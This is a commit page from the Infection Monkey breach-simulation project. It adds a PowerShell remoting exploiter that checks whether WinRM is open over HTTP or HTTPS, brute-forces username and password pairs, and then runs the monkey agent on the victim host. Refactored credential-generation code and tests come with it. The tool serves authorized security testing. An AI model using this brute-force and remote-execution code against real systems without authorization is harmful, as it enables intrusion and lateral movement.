Merge pull request #1438 from guardicore/powershell_http

Adds the capability to exploit powershell remoting via HTTP
This commit is contained in:
Mike Salvatore 2021-09-01 11:59:41 -04:00 committed by GitHub
commit 473fe36ba7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
7 changed files with 195 additions and 134 deletions

View File

@ -30,6 +30,7 @@ WMI = {version = "==1.5.1", sys_platform = "== 'win32'"}
ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"}
pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl
pypsrp = "*" pypsrp = "*"
typing-extensions = "*"
[dev-packages] [dev-packages]

View File

@ -1,7 +1,7 @@
{ {
"_meta": { "_meta": {
"hash": { "hash": {
"sha256": "60705d888d53c68aebc3a324b4f22e472f35ed152c2e506d475fe639feb7e359" "sha256": "96a125018d143a7446fe9b2849991c00d79f37c433694db77e616c1135baeaf9"
}, },
"pipfile-spec": 6, "pipfile-spec": 6,
"requires": { "requires": {
@ -69,19 +69,19 @@
}, },
"boto3": { "boto3": {
"hashes": [ "hashes": [
"sha256:7209b79833bdf13753aa24f76bf533890ffed2cc4fe1fe08619d223c209bbd11", "sha256:461f659c06f9f56693cebbca70b11866f096021eafbd949a3c029c3a8adee6a4",
"sha256:f46c93d09acd4d4bfc6b9522ed852fecbdc508e0365f29ddfb3c146aae784b4e" "sha256:596d2afda27ae3d9a10112a475aa25c4d6b5cf023919e370ad8e6c6ae04d57a6"
], ],
"markers": "python_version >= '3.6'", "markers": "python_version >= '3.6'",
"version": "==1.18.27" "version": "==1.18.33"
}, },
"botocore": { "botocore": {
"hashes": [ "hashes": [
"sha256:8c99abd7093ab11ce8d09c68732aeeb6065a53d2fe371568452e99291817fff5", "sha256:204327b9a33e3ae5207ff9acdd7d3b6d1f99f5dc9165a4d843d6f1a566f3006c",
"sha256:b9e2c90bad164d111c229102f58f995c28576e719dd116b446965e1b786f8fa5" "sha256:b321b570a0da4c6280e737d817c8f740bce0ef914f564e1c27246c7ae76b4c31"
], ],
"markers": "python_version >= '3.6'", "markers": "python_version >= '3.6'",
"version": "==1.21.27" "version": "==1.21.33"
}, },
"certifi": { "certifi": {
"hashes": [ "hashes": [
@ -441,11 +441,11 @@
}, },
"minidump": { "minidump": {
"hashes": [ "hashes": [
"sha256:7f341d62b5a6ea961d6230e35c2cb68c5b1d258403411b6e4c58aa0c317cf498", "sha256:67b3327cb96e319633653a353c6281703772335dc84797d6fdce7daf0b3be077",
"sha256:b9fe0a65cf42d60591807bb8b6d9357e92f6a46f2851befdbaf08894722d07ff" "sha256:fdd9eb4566b6d3dabc205bf644ded724067bdbdb453eb418565261e5520b3537"
], ],
"markers": "python_version >= '3.6'", "markers": "python_version >= '3.6'",
"version": "==0.0.18" "version": "==0.0.19"
}, },
"minikerberos": { "minikerberos": {
"hashes": [ "hashes": [
@ -969,12 +969,12 @@
}, },
"typing-extensions": { "typing-extensions": {
"hashes": [ "hashes": [
"sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497", "sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e",
"sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342", "sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7",
"sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84" "sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34"
], ],
"markers": "python_version < '3.8'", "index": "pypi",
"version": "==3.10.0.0" "version": "==3.10.0.2"
}, },
"urllib3": { "urllib3": {
"hashes": [ "hashes": [

View File

@ -4,7 +4,7 @@ from typing import Optional, Union
import pypsrp import pypsrp
import spnego import spnego
from pypsrp.client import Client from pypsrp.exceptions import AuthenticationError
from pypsrp.powershell import PowerShell, RunspacePool from pypsrp.powershell import PowerShell, RunspacePool
from urllib3 import connectionpool from urllib3 import connectionpool
@ -13,6 +13,12 @@ from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils import utils
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials
from infection_monkey.exploit.powershell_utils.utils import (
IClient,
get_client_based_on_auth_options,
)
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost
from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.environment import is_windows_os
@ -22,6 +28,10 @@ LOG = logging.getLogger(__name__)
TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin" TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
class PowerShellRemotingDisabledError(Exception):
pass
class PowerShellExploiter(HostExploiter): class PowerShellExploiter(HostExploiter):
_TARGET_OS_TYPE = ["windows"] _TARGET_OS_TYPE = ["windows"]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
@ -41,49 +51,84 @@ class PowerShellExploiter(HostExploiter):
logging.getLogger(package.__name__).setLevel(logging.ERROR) logging.getLogger(package.__name__).setLevel(logging.ERROR)
def _exploit_host(self): def _exploit_host(self):
self.client = self._authenticate_via_brute_force() try:
is_https = self._is_client_using_https()
except PowerShellRemotingDisabledError as e:
logging.info(e)
return False
credentials = get_credentials(
self._config.exploit_user_list,
self._config.exploit_password_list,
is_windows_os(),
is_https=is_https,
)
self.client = self._authenticate_via_brute_force(credentials)
if not self.client: if not self.client:
return False return False
return self._execute_monkey_agent_on_victim() return self._execute_monkey_agent_on_victim()
def _authenticate_via_brute_force(self) -> Optional[Client]: def _is_client_using_https(self) -> bool:
credentials = utils.get_credentials( try:
self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os() logging.debug("Checking if powershell remoting is enabled over HTTP.")
) self._try_http()
return False
except AuthenticationError:
return False
except Exception as e:
logging.debug(f"Powershell remoting over HTTP seems disabled: {e}")
for username, password in credentials: try:
logging.debug("Checking if powershell remoting is enabled over HTTPS.")
self._try_https()
return True
except AuthenticationError:
return True
except Exception as e:
logging.debug(f"Powershell remoting over HTTPS seems disabled: {e}")
raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.")
def _try_http(self):
auth_options_http = AuthOptions(
username=self._config.exploit_user_list[0],
password=self._config.exploit_password_list[0],
is_https=False,
)
self._authenticate(auth_options_http)
def _try_https(self):
auth_options_http = AuthOptions(
username=self._config.exploit_user_list[0],
password=self._config.exploit_password_list[0],
is_https=True,
)
self._authenticate(auth_options_http)
def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]:
for credential in credentials:
try: try:
client = self._authenticate(username, password) client = self._authenticate(credential)
LOG.info( LOG.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: " f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{username}" f"{credential.username}"
) )
self.report_login_attempt(True, username, password) self.report_login_attempt(True, credential.username, credential.password)
return client return client
except Exception as ex: # noqa: F841 except Exception as ex: # noqa: F841
LOG.debug( LOG.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: " f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{username}, Error: {ex}" f"{credential.username}, Error: {ex}"
) )
self.report_login_attempt(False, username, password) self.report_login_attempt(False, credential.username, credential.password)
return None return None
def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client: def _authenticate(self, auth_options: AuthOptions) -> IClient:
(ssl, auth, encryption) = utils.get_powershell_client_params(password) client = get_client_based_on_auth_options(self.host.ip_addr, auth_options)
client = Client(
self.host.ip_addr,
username=username,
password=password,
cert_validation=False,
ssl=ssl,
auth=auth,
encryption=encryption,
connection_timeout=3,
)
# attempt to execute dir command to know if authentication was successful # attempt to execute dir command to know if authentication was successful
client.execute_cmd("dir") client.execute_cmd("dir")

View File

@ -0,0 +1,9 @@
from dataclasses import dataclass
from typing import Union
@dataclass
class AuthOptions:
username: Union[str, None]
password: Union[str, None]
is_https: bool

View File

@ -0,0 +1,46 @@
from itertools import product
from typing import List
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
def get_credentials(
usernames: List[str], passwords: List[str], is_windows: bool, is_https: bool
) -> List[AuthOptions]:
credentials = []
credentials.extend(_get_empty_credentials(is_windows))
credentials.extend(_get_username_only_credentials(usernames, is_windows))
credentials.extend(_get_username_password_credentials(usernames, passwords, is_https=is_https))
return credentials
def _get_empty_credentials(is_windows: bool) -> List[AuthOptions]:
if is_windows:
return [AuthOptions(username=None, password=None, is_https=False)]
return []
def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[AuthOptions]:
credentials = [
AuthOptions(username=username, password="", is_https=False) for username in usernames
]
if is_windows:
credentials.extend(
[AuthOptions(username=username, password=None, is_https=True) for username in usernames]
)
return credentials
def _get_username_password_credentials(
usernames: List[str], passwords: List[str], is_https: bool
) -> List[AuthOptions]:
username_password_pairs = product(usernames, passwords)
return [
AuthOptions(credentials[0], credentials[1], is_https=is_https)
for credentials in username_password_pairs
]

View File

@ -1,63 +1,10 @@
from itertools import product from pypsrp.client import Client
from typing import List, Optional, Tuple from typing_extensions import Protocol
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
AUTH_BASIC = "basic"
AUTH_NEGOTIATE = "negotiate"
ENCRYPTION_AUTO = "auto"
ENCRYPTION_NEVER = "never"
def get_credentials(
usernames: List[str], passwords: List[str], is_windows: bool
) -> List[Tuple[Optional[str], Optional[str]]]:
# When username or password is None, this instructs the powershell client to attempt to use
# The current user's credentials. This is only valid if the client is running from a Windows
# machine.
credentials = []
credentials.extend(_get_empty_credentials(is_windows))
credentials.extend(_get_username_only_credentials(usernames, is_windows))
credentials.extend(_get_username_password_credentials(usernames, passwords))
return credentials
def _get_empty_credentials(is_windows: bool) -> List[Tuple[None, None]]:
if is_windows:
return [(None, None)]
return []
def _get_username_only_credentials(
usernames: List[str], is_windows: bool
) -> List[Tuple[str, Optional[str]]]:
credentials = [(username, "") for username in usernames]
if is_windows:
credentials.extend([(username, None) for username in usernames])
return credentials
def _get_username_password_credentials(
usernames: List[str], passwords: List[str]
) -> List[Tuple[str, str]]:
username_password_pairs = product(usernames, passwords)
return [credentials for credentials in username_password_pairs]
def get_powershell_client_params(password: str) -> Tuple[bool, str, str]:
ssl = password != ""
auth = AUTH_NEGOTIATE if password != "" else AUTH_BASIC
encryption = ENCRYPTION_AUTO if password != "" else ENCRYPTION_NEVER
return (ssl, auth, encryption)
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str: def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
monkey_params = build_monkey_commandline( monkey_params = build_monkey_commandline(
@ -72,3 +19,38 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path
"monkey_type": DROPPER_ARG, "monkey_type": DROPPER_ARG,
"parameters": monkey_params, "parameters": monkey_params,
} }
AUTH_BASIC = "basic"
AUTH_NEGOTIATE = "negotiate"
ENCRYPTION_AUTO = "auto"
ENCRYPTION_NEVER = "never"
CONNECTION_TIMEOUT = 3 # Seconds
class IClient(Protocol):
def execute_cmd(self, cmd: str):
pass
def get_client_based_on_auth_options(ip_addr: str, auth_options: AuthOptions) -> IClient:
# Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
if auth_options.password == "":
ssl = False
else:
ssl = auth_options.is_https
auth = AUTH_NEGOTIATE if auth_options.password != "" else AUTH_BASIC
encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER
return Client(
ip_addr,
username=auth_options.username,
password=auth_options.password,
cert_validation=False,
ssl=ssl,
auth=auth,
encryption=encryption,
connection_timeout=CONNECTION_TIMEOUT,
)

View File

@ -1,72 +1,50 @@
from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils import utils
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials
from infection_monkey.model.host import VictimHost from infection_monkey.model.host import VictimHost
TEST_USERS = ["user1", "user2"] TEST_USERNAMES = ["user1", "user2"]
TEST_PASSWORDS = ["p1", "p2"] TEST_PASSWORDS = ["p1", "p2"]
def test_get_credentials__empty_windows_true(): def test_get_credentials__empty_windows_true():
credentials = utils.get_credentials([], [], True) credentials = get_credentials([], [], True, True)
assert len(credentials) == 1 assert len(credentials) == 1
assert credentials[0] == (None, None) assert credentials[0] == AuthOptions(username=None, password=None, is_https=False)
def test_get_credentials__empty_windows_false(): def test_get_credentials__empty_windows_false():
credentials = utils.get_credentials([], [], False) credentials = get_credentials([], [], False, True)
assert len(credentials) == 0 assert len(credentials) == 0
def test_get_credentials__username_only_windows_true(): def test_get_credentials__username_only_windows_true():
credentials = utils.get_credentials(TEST_USERS, [], True) credentials = get_credentials(TEST_USERNAMES, [], True, True)
assert len(credentials) == 5 assert len(credentials) == 5
assert (TEST_USERS[0], "") in credentials assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials
assert (TEST_USERS[1], "") in credentials assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials
assert (TEST_USERS[0], None) in credentials assert AuthOptions(username=TEST_USERNAMES[0], password=None, is_https=True) in credentials
assert (TEST_USERS[1], None) in credentials assert AuthOptions(username=TEST_USERNAMES[1], password=None, is_https=True) in credentials
def test_get_credentials__username_only_windows_false(): def test_get_credentials__username_only_windows_false():
credentials = utils.get_credentials(TEST_USERS, [], False) credentials = get_credentials(TEST_USERNAMES, [], False, True)
assert len(credentials) == 2 assert len(credentials) == 2
assert (TEST_USERS[0], "") in credentials assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials
assert (TEST_USERS[1], "") in credentials assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials
def test_get_credentials__username_password_windows_true(): def test_get_credentials__username_password_windows_true():
credentials = utils.get_credentials(TEST_USERS, TEST_PASSWORDS, True) credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True, True)
assert len(credentials) == 9 assert len(credentials) == 9
for user in TEST_USERS: for user in TEST_USERNAMES:
for password in TEST_PASSWORDS: for password in TEST_PASSWORDS:
assert (user, password) in credentials assert AuthOptions(username=user, password=password, is_https=True) in credentials
def test_get_powershell_client_params__password_none():
(ssl, auth, encryption) = utils.get_powershell_client_params(None)
assert ssl is True
assert auth == utils.AUTH_NEGOTIATE
assert encryption == utils.ENCRYPTION_AUTO
def test_get_powershell_client_params__password_str():
(ssl, auth, encryption) = utils.get_powershell_client_params("1234")
assert ssl is True
assert auth == utils.AUTH_NEGOTIATE
assert encryption == utils.ENCRYPTION_AUTO
def test_get_powershell_client_params__password_empty():
(ssl, auth, encryption) = utils.get_powershell_client_params("")
assert ssl is False
assert auth == utils.AUTH_BASIC
assert encryption == utils.ENCRYPTION_NEVER
def test_build_monkey_execution_command(): def test_build_monkey_execution_command():